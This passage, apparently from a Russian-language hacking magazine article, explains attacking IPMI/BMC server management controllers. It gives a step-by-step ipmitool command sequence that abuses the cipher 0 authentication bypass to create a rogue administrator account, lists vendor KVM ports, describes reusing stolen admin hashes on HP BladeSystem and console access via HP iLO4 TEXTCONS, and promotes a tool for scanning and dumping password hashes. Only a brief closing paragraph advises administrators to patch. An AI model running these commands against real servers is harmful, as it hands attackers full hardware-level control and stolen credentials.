В случае наличия уязвимости cipher О можно обойтись без брутфорса хешей и сбросить пароль. Для этого нам понадобится утили та IPMitool. Сборка под GNU/Linux не вызывает вопросов. А вот под Windows придется устроить пляски с бубном в Cygwin . Последовательност ь действий для добавленияадминистратора такая:

1. Смотрим, какие пользователи присутствуют, и используем следующий свободный ID.

Ipmitool -I lanplus -с 0 -H 1.1.1.1 -U Administrator -Р anypasswordhere user list

2. Устанавливаем логин нашего пользователя.

Ipmitool -I lanplus -С 0 -Н 1.1.1.1 -U Administrator -P anypasswordhere user set name hacкer

3. Задаем для него пароль.

Ipmitool -I lanplus -С 0 -Н 1.1.1.1 -U Administrator -P anypasswordhere user set password hackerpass

4. Делаем его администратором.

Ipmitool -I lanplus -С 0 -Н 1.1.1.1 -U Administrator -Р anypasswordhere user priv 4

5. Активируем толь ко что созданную учетную запись.

Ipmitool -I lanplus -C 0 -H 1.1.1.1 -U Administrator -Р anypasswordhere user еnаble

После того как хеши взломаны, пароли сброшены или же добавлен новый администратор, у тебя появляется возможность зайти через веб-интерфейс, по SSH на SMASH или подключиться к удаленному рабочему столу, а -ля KVM.
Особую ценность представляет переключатель KVM, так как реализует доступ непосредственно к самой консоли, тем самым позволяя получить доступ в BIOS, установить операционную систему и тому подобное. За реализацию переключателя KVM отвечает каждый вендор сам. Например, в НР
ilO4 для этого используются порты ТСР 17988 и 17990. У Dell iDRAC7 это порт ТСР 5900. Cisco ICM порт ТСР 2068.

Стоит упомянут ь такую вещь, как НР BladeSystem Onboard Administrator. НР BladeSystem представляет собой шасси, к которому подключаются блейд-серверы. Так вот, это шасси позволяет управлять централизованно блейд-серверами с помощью IPMI. При этом авторизация на «Подчиннные» IPMI происходит с помощью механизма SSO. Все, что тебе требуется, - это получить хеш пользователя с административными привилегиями и с помощью веб-интерфейса подключиться на интересующий тебя сервер.

Еще одна интересная особенность, найденная в НР il04, - это возможность подключиться к серверу по KVM прямо из SMASH (читай: SSH) с помощью команды TEXTCONS. Это весьма полезно, когда закрыты порты 80, 443, 17990. Для этого понадобятся права администратора, но какая разница?
Стать администратором не так сложно. Персонально для тебя, читатель, я подготовил программу ipmicd на С под Windows/Linux. Она позволяет сканировать диапазон адресов на наличие IPMl/BMC, а также дампит хеши (аналог ipmi_dumphashes из Metasploit’a). Программы созданы на тот случай, когда использовать Metasploit не самая удачная идея, например IPMl/BMC находятся где-то далеко, куда Metasploit не пробросишь.

Утилита доступна на GitHub. Очень проста в использовании:

1. Параметр -р используется, когда необходимо провести сканирование определенного диапазона.
2. Параметр -d указывает необходимость получить захешированный пароль.
3. Параметр -v N указывает степень логирования при работе 0..5. При N = 1 программа выдает фингерпринты.

Комбинируя различные параметры, можно влиять на поведение программы. Например, при использовании вместе опций -d и -р программа будет пробовать получить хеши только с тех систем, которые отвечают на IРМl- пинги. При использовании только опции -d будет пытаться получить хеши со всех адресов, что обычно происходит нереально медленно. Если что-то вызывает сомнения, то можно использовать опцию -v 5 - программа будет выводить в удобном формате получаемые сообщения. Для компилирования под Linux понадобится тол ько GCC - gcc ipmicd.c -static -о ipmicd . В случае использования на Windows компилировать следует с помощью MinGW gcc ipmicd.c -mno-ms-bitfields -lws2_32 -DMINGW .

ЗАКЛЮЧЕНИЕ

Пара слов о высоком: изучение возможностей и реализаций разными вендорами IPMl/BMC только начинается. Сюда можно включить не только веб -интерфейсили SMASH, но и драйверы для операционных систем, позволяющие взаимодействовать с технологиями удаленного управления сервером IPMI/ВМС из установленной системы. Внутренние сервисы, реализующие обмен информацией в IPMl/BMC. Под прицел может попасть даже «железная» реализация самого ВМС и как именно он управляет основным сервером. Администраторам же я рекомендую проверить все свои системы на наличие в них публичных уязвимостей и по возможности устранить эти уязвимости. Самая же главная рекомендация, которую я бы хотел дать читателем - уделяйте максимум внимания настройкам оборудования которым вы управляете.

Похожие публикации